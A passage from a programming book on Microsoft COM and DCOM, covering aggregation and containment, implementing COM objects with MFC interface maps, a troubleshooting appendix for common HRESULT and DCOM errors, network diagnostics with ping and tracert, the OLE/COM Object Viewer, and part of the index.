FORMAT_MESSAGE_IGNORE_INSERTS, NULL, hr, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &pMsgBuf, 0,NULL); CString MyCopy = pMsgBuf; // Free the buffer. LocalFree(pMsgBuf) ; In this example, we are passing in an HRESULT code (hr) as the third argument. The error string will be written to a buffer pointed to by pMsgBuf. Note that this buffer is allocated by For- matMessage. This happened because we passed in the FORMAT_MESSAGE_ALLOCATE_BUFFER flag. FormatMessage will allocate the buffer, fill it with the message text, and return the pointer. This buffer needs to be de-allocated using LocalFree. LocalFree is considered to be obsolete, but I use it because the documentation for FormatMessage says it's required. You should also note that we're making a copy of the string before calling LocalFree. Aggregation and Containment 269 Additonal Information and Updates: http://www.iftech.com/dcom Aggregation and Containment COM offers two alternatives for the re-use of components. Con- tainment means that an interface 'contains' another interface, and uses it to accomplish its goals. Aggregation is the act of combin- ing COM objects: one COM object directly exposes another COM object without the client knowing it is dealing with two compo- nents. Containment in COM is very straightforward. The outer, or 'containing' object, creates an instance of the inner object. It cre- ates the 2nd object, and passes calls along to that object. HRESULT ObjectA::BeepMe( long lDuration ) { IBeepObj *pInner; HRESULT hr = CoCreateInstance( CLSID_ObjectB, NULL, CLSCTX_INPROC_SERVER, IID_IBeepObj, (void**)&pInner ); if (SUCCEEDED(hr)) { hr = pInner->BeepMe(lDuration); pInner->Release(); } return hr; } This is a rather simple example. Normally, we would expect the containing object to create the contained object and keep it around for later use. You have a lot of flexibility in how you implement containment. As you can see, the calling client will have no idea it is deal- ing with a second component. The first object completely man- ages the lifetime of its contained object. This technique is very simple and easily implemented. Aggregation is a special case of containment. 270 Chapter 16 • Other Topics The problem with containment is that the outer object may have to implement every single method of its contained object. If there are a lot of methods, this can be aggravating. An aggre- gated object does not require these 'shell' methods. Aggregation actually exposes the complete inner object. The client will believe that it is actually dealing with a single component. Hid- ing the existence of the inner object introduces some very tricky programming into the implementation of IUnknown. Aggreag- table classes need a special version of QueryInterface, and spe- cial reference counting. The inner object needs to be specifically coded to handle aggregation. Once again, ATL takes care of much of this complexity. By default, all wizard-generated ATL classes are aggregatable. This is controlled by the radio button on the ATL Object Wizard Proper- ties dialog. By allowing aggregation, you give other program- mers the flexibility to aggregate your class. The class factory of the ATL object has a base class of CCo- mAggObject, which handles the special IUnknown. This comes from the ATL template macro DECLARE_AGGREGATABLE(). By Figure 16–1 Configuring for aggregation Building a COM Object with MFC 271 Additonal Information and Updates: http://www.iftech.com/dcom selecting NO to aggregation, you'll get the DECLARE_NOT_ AGGREGATABLE macro. Building a COM Object with MFC You can build perfectly good COM objects using MFC. MFC uses the base class CCmdTarget and a number of macros to imple- ment COM. In this example we'll use MFC to create a COM ready class. This example comes from the MfcClient example program. CCmdTarget is the base class for MFC message maps. CCm- dTarget is fully capable of supporting OLE. This means it sup- ports COM. What you we are doing in this section, therefore, is demonstrating how to use MFC in place of ATL. As discussed in Chapter 15, ATL is the preferred choice for server implementa- tion. However, there are occasions where the use of MFC can have advantages. For example, if you have developed an MFC client and you want to embed a callback object inside of it so that the server can talk back to the client, then you suddenly have a need to implement COM with MFC. This example pre- sented here is based on the Callback client from the chapter on Callbacks. MFC supports COM at a lower level, and we're going to have to write some of the basic COM plumbing to get this example to work. We will assume you have already defined the COM interface using MIDL. We will be implementing a COM interface named ICallBack that was created in the Callback chapter. In order to get the MIDL-generated definitions, we'll include two files from the server. Note that the path to these include files is relative. You will need to ensure that they point to the correct files where you created the server project. #include "../CallbackServer/CallbackServer _i.c" #include "../CallbackServer /CallbackServer.h" The CCmdTarget class has several interesting features. This class has a Windows message loop. It also implements the stan- dard methods of IUnknown. As you recall, these are QueryInter- 272 Chapter 16 • Other Topics face(), AddRef(), and Release(). Simply by inheriting from CCmdTarget, we get a fully functional COM object. We're also going to use an obscure feature of C++ language - nested classes. If you're unfamiliar with nested classes, they are straightforward. A nested class is a class declared within the scope of another class. Whenever you reference a nested class, you need to fully qualify the name with both classes. You're going to see a lot of macros in the following code. MFC/OLE uses macros quite extensively. This makes sense, because the fundamentals of COM are very standardized. These macros, however, can make MFC-style COM difficult to follow. We will create our class object as follows: class CMyCallback : public CCmdTarget { public: CMyCallback(){}; DECLARE_INTERFACE_MAP() public: BEGIN_INTERFACE_PART( MyEvents, ICallBack ) STDMETHOD(Awake)(long lDuration); END_INTERFACE_PART(MyEvents) }; The BEGIN_INTERFACE_PART and END_INTERFACE_PART create a nested class. This nested class appends an X to the string "MyEvents", and declares a member variable named m_xMyEvents of the same type. The macro expands out into code that is similar to this: // code generated by BEGIN_INTERFACE_PART macros class XMyEvents: public ICallBack { public: ULONG AddRef(); ULONG Release(); HRESULT QueryInterface(REFIID iid, LPVOID* ppvObj); HRESULT Awake(long lDuration); } m_xMyEvents; Building a COM Object with MFC 273 Additonal Information and Updates: http://www.iftech.com/dcom friend class XMyEvents; The class XMyEvents will have to implement the three meth- ods of IUnknown. Because it is a custom interface, it also has a custom method Awake(). This is the only application-specific method exposed by this COM object. In order to reference AddRef in the nested class, you would use m_xMyClass.AddRef(). If you didn't want to use the MFC macros, you could just type in the required definitions. Adding Code for the Nested Classes We will put the implementation of this class in the source file MfcClient.cpp. The standard AppWizard application code is already created, so we're going to add a nested class defined in the BEGIN_INTERFACE_PART macro. This is a fairly basic class, other than the nested definition. Here is the top portion of this file. BEGIN_INTERFACE_MAP( CMyCallback, CCmdTarget ) INTERFACE_PART(CMyCallback, IID_ICallBack, MyEvents) END_INTERFACE_MAP() The macros above are implementing an MFC interface map. This code ties in with the DECLARE_INTERFACE_MAP macro in the header. An interface map is a MFC/OLE concept. It is quite similar to a standard MFC message map, which reads and pro- cesses Windows messages. The interface map takes care of a lot of the plumbing of a COM object in MFC. This includes reference counting with AddRef() and Release(), as well as handling COM aggregation. This is all functionality that is handled automatically by ATL. Since we aren't using ATL in this client, we have to implement things in the MFC/OLE way. Let's continue with the class implementation. Here's the standardized part of the CPP implementation. // Standard COM interfaces -- implemented // in nested class XClientSink STDMETHODIMP_(ULONG) CMyCallback::XMyEvents::AddRef() { 274 Chapter 16 • Other Topics METHOD_PROLOGUE_EX(CMyCallback, MyEvents) return (ULONG)pThis->ExternalAddRef(); } STDMETHODIMP_(ULONG) CMyCallback::XMyEvents::Release() { METHOD_PROLOGUE_EX(CMyCallback, MyEvents) return (ULONG)pThis->ExternalRelease(); } STDMETHODIMP CMyCallback::XMyEvents::QueryInterface( REFIID iid, LPVOID far* ppvObj) { METHOD_PROLOGUE_EX(CMyCallback, MyEvents) return (HRESULT)pThis->ExternalQueryInterface( &iid, ppvObj); } One unfamiliar part of this code may be the use of the METHOD_PROLOGUE_EX macro. This macro automatically gets the this pointer from the outside class. This is possible because the nested class and its outside class are declared as 'friends'. The METHOD_PROLOGUE_EX macro creates an outside pointer named pThis. (The outside class is CMfcClient). We use the pThis pointer to delegate the AddRef(), Release(), and QueryInterface functions to the outside CMfcCli- ent class, which knows how to handle them. These functions are implemented in the base class CCmdTarget. All of what has preceded this point is boilerplate COM code. The only 'custom' aspect of this code is the names of the classes. Finally, we're going to add our one-and-only custom method. // Pop up a message box to announce callback STDMETHODIMP CMyCallback::XMyEvents::Awake(long lVal) { CString msg; msg.Format( "Message %d Received\n", lVal); AfxMessageBox( msg ); return S_OK; } This code is self-explanatory. It displays a message box. Building a COM Object with MFC 275 Additonal Information and Updates: http://www.iftech.com/dcom Accessing the Nested Class The syntax of accessing the nested class is somewhat unusual. We'll assume you are accessing an instance of the CCm- dTarget class called pMyClass. In this example, we'll extract an ICallBack object from the class. ICallBack *pC; hr = pMyClass->m_xMyEvents.QueryInterface( IID_ICallBack, (void**)&pC); if (SUCCEEDED(hr)) { pC->Awake( 1 ); pC->Release(); } We have presented this example to show that there are other ways besides ATL to implement COM. Working with MFC COM is a whole different experience from using ATL. There are numerous books on OLE and MFC that cover this area in minute detail - now that you understand the fundamentals of COM, these books become much easier to comprehend! 276 Chapter 16 • Other Topics A P P E N D I X Appendix COM Error Handling Much of the frustration of using COM arises when things don’t work. You create a COM server and its client, run the client but the server never activates. Solving this type of problem can be a time-consuming, maddening activity. This appendix is dedicated to the discovery and elimination of bugs that prevent a COM cli- ent from finding and starting a COM server, as well as other bugs that gum up the works between a client and a server. One of the hardest parts about working with COM is dealing with errors. The debugging cycle with COM programs is more complex then with standard C++ programs. There are a number of reasons for this. First, much COM error checking is done at run-time. Using the wizards, it's relatively easy to build a client and server appli- cation. Everything looks fine, until you run it. A COM program is really a complex combination of different programs, the registry, and operating system components. Any of these parts can go wrong, and they do. Secondly, when you get COM error messages, they often aren't very specific about the problem. Perhaps the worst exam- ple of this is the RPC_S_SERVER_UNAVAILABLE error that you commonly get when working across networks. Even at their best, HRESULT's offer pretty meager information about the prob- 278 Appendix • COM Error Handling lem. The context of an error can be extremely important in inter- preting its cause. Also, a huge part of the COM system is hidden from the pro- grammer. The COM subsystem is responsible for server location and activation. As an application developer, we hope and pray that all the elements of this connection are correct. Security just makes matters more difficult. COM is designed to provide inter-process and inter-network connections. Unfortu- nately, these avenues of communication are highly subject to break-ins. This means that the security layers of the network and operating system are going to insist that access is legitimate. Another characteristic of security subsystems is that they don't give very informative error diagnostics. When a connection fails, the security subsystem probably won't tell you why - to do so would be a security breach. Finally, we've got to admit that the COM environment is quirky and prone to bugs. Only a few people really understand this complex system enough to diagnose tough problems. When you're just starting with COM, you probably don't have access to these people. Fortunately, COM is getting easier. Microsoft is exerting con- siderable effort in on making COM more usable. Each new Developer Studio product has better integration. Also the advent of tools like ATL have made a big difference. As COM grows in prevalence (if not always popularity), there's more information available. Sources of Information The primary source for information about COM is the MSDN library. There is quite a lot of COM related material on these CD's, but it is poorly organized and sometimes not clearly writ- ten. Nevertheless, the MSDN Libraries are a must-have for serious Visual C++ and COM developers. If you don't get the CD's, the online resources at Microsoft’s web site are quite useful as a fall- back. Common Error Messages 279 Additonal Information and Updates: http://www.iftech.com/dcom There are several good COM FAQ's available on the Inter- net. Searching these archives can give help with commonly encountered problems. One example is the "FAQ: COM Security Frequently Asked Questions", Article ID: Q158508 There is also a DCOM list server resource, which archives COM-related mailing lists. If you subscribe to the mailing lists, you'll never have to worry about an empty inbox. The archive holds a huge volume of material about COM. You'll find posts by some of the experts in the COM world, including COM develop- ers. You'll also find thousands of questions about topics that are irrelevant to your application. Here are two of these resources: http://discuss.microsoft.com/archives/atl.html http://discuss.microsoft.com/archives/dcom.html. Reading the messages on the list server will also give you some idea about the desperation of COM developers who are debugging problems. You should spend some time searching these archives before posting questions. Almost all the questions have been asked, and answered several times before. Common Error Messages In the following section we're going to look at some of the more common errors you will encounter when working with COM. I've encountered most of these, usually when working with remote servers. These errors are arranged in alphabetical order. Error Decimal Hex CO_E_BAD_SERVER_NAME -2147467244 80004014 CO_E_CANT_REMOTE -2147467245 80004013 CO_E_NOTINITIALIZED -2147221008 800401f0 CO_E_SERVER_EXEC_FAILURE -2146959355 80080005 E_ACCESSDENIED -2147024891 80070005 E_FAIL -2147467259 80004005 280 Appendix • COM Error Handling CO_E_BAD_SERVER_NAME • A Remote activation was necessary but the server name provided was invalid. This is one of the few self-explanatory error messages. Note that this doesn't mean you entered the wrong server name. Unrecognized servers show up with the RPC_S_SERVER_UNAVAILABLE error. • Check the server name for invalid characters. • Check the parameters to the COSERVERINFO structure. CO_E_CANT_REMOTE • A Remote activation was necessary but was not allowed. This is an uncommon problem. You are trying to improperly start a server. • Check the CLSCTX in CoCreateInstance. Be sure it matches the type of server. CO_E_NOTINITIALIZED • CoInitialize has not been called. This is an easy problem. You probably just forgot to call CoInitialize. It may also indicate that you have a threading prob- lem. CoInitialize should be called on each thread. • Call CoInitialize or CoInitializeEx before other COM calls. • Be sure you call CoInitialize for each thread. COM inter- actions must be marshaled between threads. E_NOINTERFACE -2147467262 80004002 E_OUTOFMEMORY -2147483646 80000002 E_POINTER -2147483643 80000005 ERROR_INVALID_PARAMETER -2147024809 80070057 ERROR_SUCCESS 0 0 REGDB_E_CLASSNOTREG -2147221164 80040154 RPC_S_SERVER_UNAVAILABLE -2147023174 800706ba Table A.1 Typical COM errors Error Decimal Hex Common Error Messages 281 Additonal Information and Updates: http://www.iftech.com/dcom CO_E_SERVER_EXEC_FAILURE • Server execution failed. Often occurs when calling CoCreateInstanceEx. • Set the "Remote Connect" flag to "Y" on your server. The registry key is HKEY_LOCAL_MACHINE\Soft- ware\Microsoft\Ole EnableRemoteConnect='Y'. You are required to reboot after changing this setting. E_ACCESSDENIED • General access denied error. This is an error from the security subsystem. The server sys- tem rejected a connection. Also known as “the error from hell” because it is often very difficult to resolve. Access Denied prob- lems can be very difficult to diagnose. This error is most likely encountered when using DCOM for remote connections. • The server must already be started on remote Windows 95/98 computers. You will sometimes get this instead of RPC_S_SERVER_UNAVAILABLE when trying to start a remote server located on a Windos 95/98 machine. • Check COM security, file protection, and network access. Check launch permissions, etc using DCOMCNFG. There are many levels of security that can be incorrect. Be sure the server identity is not set as "Launching User". See Chapter 14. • The server program may be registered, but the EXE may- missing from or inproperly located on a remote computer. Try re-installing and re-registering the server. • Check File and Print Sharing for Microsoft Networks on Windows 95. If you have Novell installed, check NetWare File/Print Sharing. • The server may not allow remote activation. If so, it can- not start. Change the server. • Check the parameters of CoInitializeSecurity. See Chapter 14. • See if the remote server is starting. The server may be starting, but may have a problem with call-level security. • A server running as an NT service may be running under "SYSTEM" or some other account that does not have per- mission to access resources. This may mean the system 282 Appendix • COM Error Handling account is trying to access network resources, such as network disks. Launch the service with a different user name; use the Services applet in the Control Panel. E_FAIL • Unspecified error. This error doesn't tell you much. Often servers return this code when they have a general processing failure or exception. In our example code, we often return this code to indicate a domain-specific problem. • A COM method failed on the server. Check the server implementation. E_NOINTERFACE • No such interface supported. You asked a server for an interface it doesn't support. This means your CLSID is probably ok, but the IID is not. This call is returned by QueryInterface (or through CoCreateInstance) when it doesn't recognize an interface. It may also be a Proxy/Stub problem. • Check the IID or name of the interface you requested. Be sure you typed in the correct CLSID. Be sure the coclass supports the interface. • The Proxy/Server DLL for the server is not properly regis- tered. You may have forgotten to build and register the "ps.mk" file. • The interface was not properly registered in the registry. Re-register your server application. Look for the interface with OLEVIEW. • You forgot the COM_INTERFACE_ENTRY in your ATL server's header. E_OUTOFMEMORY • Ran out of memory. This message may be unrelated to the actual error. Uncom- monly seen. • DefaultAccessPermissions does not include the SID, or security identifier, for the SYSTEM account. Use DCOMC- Common Error Messages 283 Additonal Information and Updates: http://www.iftech.com/dcom NFG or the OLE/COM Object Viewer to add "SYSTEM" to the security id's in the default access permissions. E_POINTER • Invalid pointer. This error indicates a general problem with pointers. You probably passed a NULL to a method that was expecting a valid pointer. • You passed a null or invalid pointer in a method call. • You passed in invalid (IUnknown*) or (void**). Did you forget an ampersand? • Check the ref and unique attributes in the IDL code. ERROR_INVALID_PARAMETER • The parameter is incorrect. You have a problem in one of the parameters to your func- tion call. This is commonly seen in functions such as CoCreateIn- stance, CoCreateInstanceEx, CoInitializeSecurity, etc. • Check for missing ampersand (&) on pointers. • Check for missing ampersand on references, such as REF- CLSID parameter. • Check all parameters carefully. ERROR_SUCCESS • The operation completed successfully. The same message as S_OK and NO_ERROR. This message is a wonderful oxymoron. • You did everything right. REGDB_E_CLASSNOTREG • Class not registered. You'll get this error if you had problems registering the server. It may also indicate in incorrect CLSID was requested. • You called CoCreateInstance or CoGetClassObject on a class that has no registered server. The CLSID was not rec- ognized. • Check the registry. See if the CLSID is registered. Look up the CLSID under the HKEY_CLASSES_ROOT\CLSID key. 284 Appendix • COM Error Handling • Try re-registering the server. Type "servername -regserver" at the DOS prompt. • Check the GUID's. • Use OLEVIEW to verify that the server is properly regis- tered. RPC_S_SERVER_UNAVAILABLE • RPC server is unavailable. This problem is very common when working with remote servers. This is a generic remote connection error. RPC is the protocol used to implement DCOM. This can be a system set-up problem or a security problem. You're about to learn a lot about networking! • Test the remote connection with PING. • Test the remote connection with TRACERT • You may have entered an invalid server name. This may also be a name resolution problem. If so, try using the TCP/IP address of the server instead of the name. • The server computer may not be running, or it may be disconnected from the network. It may also be unreach- able because of the network configuration. • The RPCSS service may not be started on the remote Win- dows NT computer. • Be sure DCOM is configured on the server. Run DCOMC- NFG and check all the possibilities. Check EnableRemote- Connect and EnableDCOM. • If you are connecting to a remote windows 95/98 system, the server must be running. DCOM will not automatically start a server remotely on Windows 95/98. • Be sure the COM server is registered on the remote com- puter. You may get this instead of "Class Not Registered" when connecting to remote machines. • Check the TCP/IP installation on both the client and server computer. • See if you can run the client and server locally on both computers. It is a lot easier to debug COM problems on a local computer. If it doesn't work locally, it probably won't work over the network. DCOM Errors 285 Additonal Information and Updates: http://www.iftech.com/dcom DCOM Errors This section discusses some of the problems you will encounter when working across a network. I've tried to outline some of the approaches I've found useful in diagnosing and fixing problems. My company deploys a product that uses DCOM to connect a GUI and server. We have installed it at several thousand sites. Our customers have a tremendous variety of networks and con- figurations, and we spend a lot of time debugging remote con- nections. The software itself if very stable, but network configurations are not. I have learned a lot about DCOM trying to debug difficult installations. Unfortunately, when you use DCOM over a network, you're probably going to encounter a lot of problems. The more net- work configurations you work with, the more problems you'll have. Debugging network issues falls somewhere between a sci- ence and voodoo. Having access to a competent network admin- istrator is a blessing. In the real world however, network administrators are often not available, so the programmer has to resolve problems himself or herself. Following is a series of steps that I use when working on DCOM issues. Get It Working Locally The first step in the debugging process is to get the client and server working locally. Install both components on the server machine, and keep at it until you can successfully communicate. If a component won't work locally, it won't work across a net- work. You probably developed and tested the application on a single computer, but be sure to test it on the server system also. By getting the system to work locally, you've eliminated most of the common programming errors. There are still a few things, like security and remote activation, that you can only test across the net. Specify your local computer in the COSERVER- INFO structure, which will exercise some of the network-related code. 286 Appendix • COM Error Handling Be Sure You Can Connect Before you even try to install your program, debug the network configuration using whatever tools you have available. Start by checking the network neighborhood, and ensure that you can browse the remote computer. This is not always possible, and a failure to browse doesn't preclude DCOM working. In most cases, however, browsing is good starting place for checking connections. Check the connection in both directions. Perhaps the most useful tool is PING. Ping sends a series of network packets to the server and waits for a response. Most installations support PING. C:\>ping www.ustreas.gov Pinging www.treas.gov [207.25.144.19] with 32 bytes of data: Reply from 207.25.144.19: bytes=32 time=209ms TTL=247 Reply from 207.25.144.19: bytes=32 time=779ms TTL=247 Request timed out. Reply from 207.25.144.19: bytes=32 time=852ms TTL=247 Ping statistics for 207.25.144.19: Packets: Sent = 4, Received = 3, Lost = 1 (25% loss), Approximate round trip times in milli-seconds: Minimum = 209ms, Maximum = 852ms, Average = 460ms PING does a number of interesting things for you. First, it resolves the name of the remote computer. If you're using TCP/ IP, the name of the remote computer will be turned into a TCP/ IP address. In the above example, PING converts the name "Raoul" into the TCP/IP address [169.254.91.12]. You should also try PING from both directions. If you are using callbacks or connection points, you must have COM work- ing in both directions. Callbacks and connection points can be very difficult to debug. Figure A–1 The ping command DCOM Errors 287 Additonal Information and Updates: http://www.iftech.com/dcom Try Using a TCP/IP Address Name resolution can be a vexing problem in remote connec- tions. Most people want to work with names like "\\RAOUL" and "\\SERVER", rather then TCP/IP addresses. The process of turning that readable name into a network address is called "Name Resolution", and it can be very complicated on some sys- tem configurations. A common work-around is to refer to the server by its TCP/IP address. This will eliminate many name res- olution problems - which are outside the scope of this discus- sion. You can easily put a TCP/IP address into the COSERVERINFO structure, instead of a standard computer name. Use TRACERT You can also glean interesting information from the TRACERT utility. If you have any weird network configurations, they may show up here. Here is typical output: c:\>tracert www.ustreas.gov Tracing route to www.treas.gov [207.25.144.19] over a maximum of 30 hops: 1 181 ms 180 ms 169 ms ct1.intercenter.net [207.211.129.2] 2 188 ms 188 ms 170 ms ts-gw1.intercenter.net [207.211.129.1] 3 176 ms 187 ms 190 ms ilan-gw1.intercenter.net [207.211.128.1] 4 547 ms 505 ms 756 ms core01.rtr.INTERPATH.NET [199.72.1.101] 5 516 ms 323 ms 338 ms tysons-h2-0.rtr.INTERPATH.NET [199.72.250.26] 6 184 ms 708 ms 216 ms mae-east2.ANS.NET [192.41.177.141] 7 576 ms 981 ms 423 ms h12-1.t60-8.Reston.t3.ANS.NET [140.223.61.25] 8 419 ms 804 ms 570 ms f5-0.c60-14.Reston.t3.ANS.NET [140.223.60.210] 9 314 ms 641 ms 621 ms www.treas.gov [207.25.144.19] Trace complete. As you can see, the route your DCOM packets are taking to their destination may be surprising! Beware of gateways, routers, proxies, and firewalls - they can and will block your connection. Figure A–2 The tracert command 288 Appendix • COM Error Handling Windows 95/98 Systems Will Not Launch Servers Hopefully this will change in the future. If your server is on Win- dows 95/98, you must manually start it before connecting from a remote computer. There is actually a very good security reason for this limitation. Because authentication on Windows 95/98 is so limited, there is no way to ensure that unauthorized users don't launch your server. Windows NT systems have no such limitation. NT is fully capable of validating remote users and launching servers safely. Unfortunately, it is also capable of rejecting legitimate users because of set-up problems. See Chapter 14 for details. Security is Tough Assuming you've got the physical network connections working, you're going to have to get through several layers of security. This is especially an issue on Windows NT, which has an extremely rich and complicated security layer. A discussion of network security is well beyond the scope of this book. We can, however, point out a few useful tools. See also chapter 14 for a detailed discussion. DCOMCNFG is your first line of defense when working with COM security. DCOMCNFG allows easy access to most security settings. If you look at the "Common Error Messages" section above, you'll see that many of the error messages are related to security. This is not accidental. One of the tenets of good security is to deny outsiders any information about your security set-up. This makes error messages especially unhelpful. When the security sub-system detects an error, it won't give you a useful error mes- sage. By telling you what you did wrong, it is also giving you information about its configuration - which is a security no-no. If you're working with NT, it logs some security messages in the event viewer. Be sure to check this information if you're get- ting un-helpful security messages. Using the OLE/COM Object Viewer 289 Additonal Information and Updates: http://www.iftech.com/dcom Using the OLE/COM Object Viewer This utility is also known as OLEVIEW. This utility is a useful tool when diagnosing registration issues. This tool was originally developed for viewing OLE interfaces, but it works for all COM interfaces. This tool is essentially a view of the registry and type libraries. The information seen in OLEVIEW all originates in the registry. OLEVIEW does more than just view registry keys; it also runs servers and interrogates type libraries for information. Under newer versions of the Developer Studio, OLEVIEW shows up under the TOOLS|OLE/COM Object Viewer menu. Note that there are a number of different versions of OLEVIEW in circulation, and you'll get different results from each of them. The older versions show much more limited information. When you start the viewer, you'll be presented with a num- ber of folders. COM classes and interfaces may show up under several of these folders. We're going to use OLEVIEW to find our IDLTestServer server. Select the "Object Classes" folder. Inside that folder select the "Automation Objects" folder and expand it. Search down for the "BasicTypes Class". This is the class we created in the chapter on MIDL. If you haven't built or installed the example programs, this class will not exist. If this is the case, just pick some other class for viewing. When you double click on the "BasicTypes Class" object, several very interesting things happen. The left hand column will show the interfaces supported by the class. In this case, we'll see our custom IBasicTypes class, as well as a number of standard COM interfaces that are imple- mented through ATL. The right hand column displays detailed information about the server and its interfaces. You can make changes to several aspects of the server here. For example, you can designate that the server runs on a remote machine by making changes in the "Activation" tab. One of the most fascinating aspects of OLEVIEW is that it actually activates and connects to the server, if possible. When you examine the running processes while using OLEVIEW, you'll 290 Appendix • COM Error Handling actually see the highlighted server is running. Of course, if there's a problem with the server, you'll get an error message. This means that you can use OLEVIEW to actually debug your COM classes. If you can expand the server with OLEVIEW, the registration was successful. There are several types of information visible through OLE- VIEW. We've already seen where it lists automation classes. If you want to see all the interfaces registered on your system, open the "Interfaces" folder. This folder lists all the interfaces, custom and dispatch that are registered. There are a lot of them. You can also open and view type libraries. Look under the "Type Libraries" tab. Expanding the type libraries under this folder shows you the stored IDL information in the library. You should spend some time exploring this tool. It can be very useful finding and fixing registration problems. It is also a useful way to change security settings. INDEX Index Index #IMPORT 253 $(OutDir) 103 $(TargetPath) 103 __uuidof 256 __variant_t 135 _com_error 258 _com_issue_error 258 _COM_SMARTPTR_TYPEDEF 256 _ICpTestEvents 215 A access permission 235 AccessPermission 235 Activation 71 Active Template Library 28 ActiveX 27, 125 adding properties 142 AddRef 82 Advise 184, 225 AfxBeginThread 205, 208 AfxGetApp 200 aggregation 23, 269 AllocSysString 118 angle brackets 253 apartment threads 153, 155, 158 using 163 API 178 AppID 170, 172 registration 174 application identifier 174 argument named 130 array conformant 119 fixed 120 fixed length 115 multi-dimensional 120 open 120 varying 119, 121 asynchronous event 181 ATL 28, 246 fundamental classes 252 generated code 55 server self registration 174 threading models 156 ATL wizard 30, 156 attribute 97, 109, 113 authentication 237 automation OLE 125 B base type 108 bi-directional 183, 213 binding 127 early 136 boolean 108, 113 Both threads 156 both threads 161 browsing 136 BSTR 113 byte 108 C callback 183 chronology of events 201 connection points 213 custom interface 183 example 185 callback interfaces 181 calling methods 24 CBeepObj 60 292 Index CCallBack 215 CComAggObject 252 CComCoClass 145, 148, 252 CComDynamicUnkArray 227 CComModule 177, 193 CComMultiThreadModel 160, 252 CComObject 198 CComObjectRoot 194, 252 CComObjectRootEx 158, 227, 252 CComPtr 252, 256 CComQIPtr 252, 256 CComSingleThreadModel 158, 252 CComVariant 135 CCpTest 215 char 108 class definition 62 factory 77 store 168 class declaration 2 class wizard adding properties 142 client 45 connectivity 20 running with server 40 simplest 19 CLSCTX 23, 88 CLSCTX_INPROC_SERVER 88 CLSCTX_LOCAL_SERVER 88 CLSCTX_REMOTE_SERVER 88 CLSID 22, 87, 170, 171 registration 171 CLSIDFromString 257 CO_E_BAD_SERVER_NAME 280 CO_E_CANT_REMOTE 280 CO_E_NOTINITIALIZED 280 CO_E_SERVER_EXEC_FAILURE 281 coclass 6, 100 CoComObject 79 CoCreateInstance 22 CoCreateInstanceEx 231, 233 CoGetClassObject 79 CoGetInterfaceAndReleaseStream 207 COINIT 157 COINIT_APARTMENTTHREADED 157 COINIT_MULTITHREADED 157 CoInitialize 21 CoInitializeEx 21 CoInitializeSecurity 239 COM array attributes 120 class context 23 client 19 creating clients 43 creating servers 43 directional attributes 109 distributed 14, 229 error handling 277 identifiers 87 interfaces 68 language independent 68 map 139, 194 MFC 246 network 4 object viewer 289 pointer values 110 principles 67 process 3 registry structure 168 server threading models 153 string attributes 114 subsystem initializing 21 threading model 151 transparency 69 typical errors 280 vocabulary 5 COM interface pure virtual 74 COM object adding 33 interface 8 typical 11 unique 5 COM server 4, 14 DLL based 29 simple 27 CoMarshalInterThreadInterface- InStream 206 Index 293 communication 6 compiler support 245 component class 100 components 10 conformant 119 connection point 213 classes 215 container 224 interfaces 215 containment 269 contract 69 cookie 187, 188 COSERVERINFO 231 CoTaskmemAlloc 117 CoTaskMemFree 117 CoUninitialize 22 coupling 89 CreateInstance 78, 79, 198 CreateObject 128 CString.AllocSysString 231 custom build 97, 103 custom callback 182 custom marshaling 95 CWinApp 195 D data transfer 107 DCOM 14, 229 errors 285 DCOMCNFG 288 default pointer 99 DEFAULT_CLASSFACTORY 79 delta pinging 243 design of COM 3 destructors 257 disconnection 242 dispatch interface 140 DISPID 129 DISPPARAMS 129 distributed COM 14, 229 DLL 14, 29 DllRegisterServer 178 DllUnregisterServer 178 domain name 12 double 108, 112 dual interface 98, 99, 125, 137 VTABLE 138 Dynamic Link Library 14, 29 E E_ACCESSDENIED 281 E_FAIL 282 E_NOINTERFACE 282 E_OUTOFMEMORY 282 E_POINTER 111, 283 early binding 127, 136 enumerations 121 err 144 err object 134 Error try/catch 259 error properties 135 run-time 134 error handling 277 DCOM 285 error messages 267 common 279 ERROR_INVALID_PARAMETER 283 ERROR_SUCCESS 283 ErrorInfo 145 ErrorMessage 259 exception 258 EXE 14 EXECPINFO 134 ExitInstance 199, 225 export file 58 F facility 265 FAILED 264 fiber 152 FindConnectionPoint 224 first_is 120 fixed 119 float 108 FormatMessage 268 Free 156 294 Index free threads 153, 155, 160, 164 FreeLibrary 29 G garbage collection 242 GetIDsOfNames 128 GetMessage 154 GetTypeInfo 128 GetTypeInfoCount 128 Globally Unique IDentifier 12 GUID 5, 12 GUIDGEN 13 H hard typing 136 heap 2 heartbeat 242 helpcontext 97 helpstring 97 hives 168 HKEY 168 HKEY_CLASSES_ROOT 168 HKEY_LOCAL_MACHINE 168 HRESULT 22 bit fields 264 facility codes 265 severity codes 266 HRESULT_CODE 265 HRESULT_SEVERITY 266 HRESULTS 263 hyper 108 I i.c file 94, 194 ICallBack 215 IClassFactory 79 IConnectionPointContainer 224 IConnectionPointContainerImpl 214, 216 IConnectionPointImpl 214, 225 ICpTest 215 id binding 127 identity 238 IDispatch 98, 127 IDispatchImpl 129, 139, 252 IDL boolean 113 IDL definitions 126 IDL language 91, 95 IDLdefinitions 126 IDLTESTLib 102 IID 22, 87 impersonation 237 levels 241 import directive 260 importlib 100, 103, 107 inheritance 88 object 61 Init 197 InitInstance 196 in-process server 14, 29, 178 InprocServer32 172 int 108 interactions between client and server 16 interface 7, 68, 73 as contract 69 attributes 99 callback 181 defining and using 107 defining with IDL language 92 dispatch 140 dual 98, 125, 137 execute a method 24 IDispatch 127 inheritance 89 isolate 8 key 170 map 194 polling 183 release 24 InterfaceSupportsErrorInfo 146 InterlockedDecrement 84 InterlockedIncrement 84 inter-process 6 inter-thread marshaling 204, 207 invasion of the body-snatchers 255 Invoke 128, 133 IPersistFile 98 Index 295 IRegister 175 isolate 8 implementation 10 IStream 207 ISupportErrorInfo 144, 145 IUnknown 10, 74 K keys 170 L language indpendent 5 language-independent 68 last_is 120 late binding 127 launch permissions 236 launching servers 288 LaunchPermission 236 length_is 120 library statement 102 type 102, 126 lifetime 83 LoadLibrary 29 Local Procedure Calls 229 local/remote transparency 69, 234 LocalServer32 171, 172 LocalService 174 LocalSystem 239 lock 227 long 108 LPC 229 lstrlen 113 M marshaling 85, 86, 151 between threads 162 custom 95 inter-thread 204, 207 standard 94 max_is 120 message loop 153 method 144 adding 36 method call 24, 85 MFC 27, 245, 246 MFC dialog 191 Microsoft Interface Definition Language 91 MIDL 70, 91 base types 108 compiler 91 post-processing 103 special tab 96 structures 121 MKTYPLIB 95 model 70, 152 MTA 155 MULTI_QI 232 multi-dimensional 120 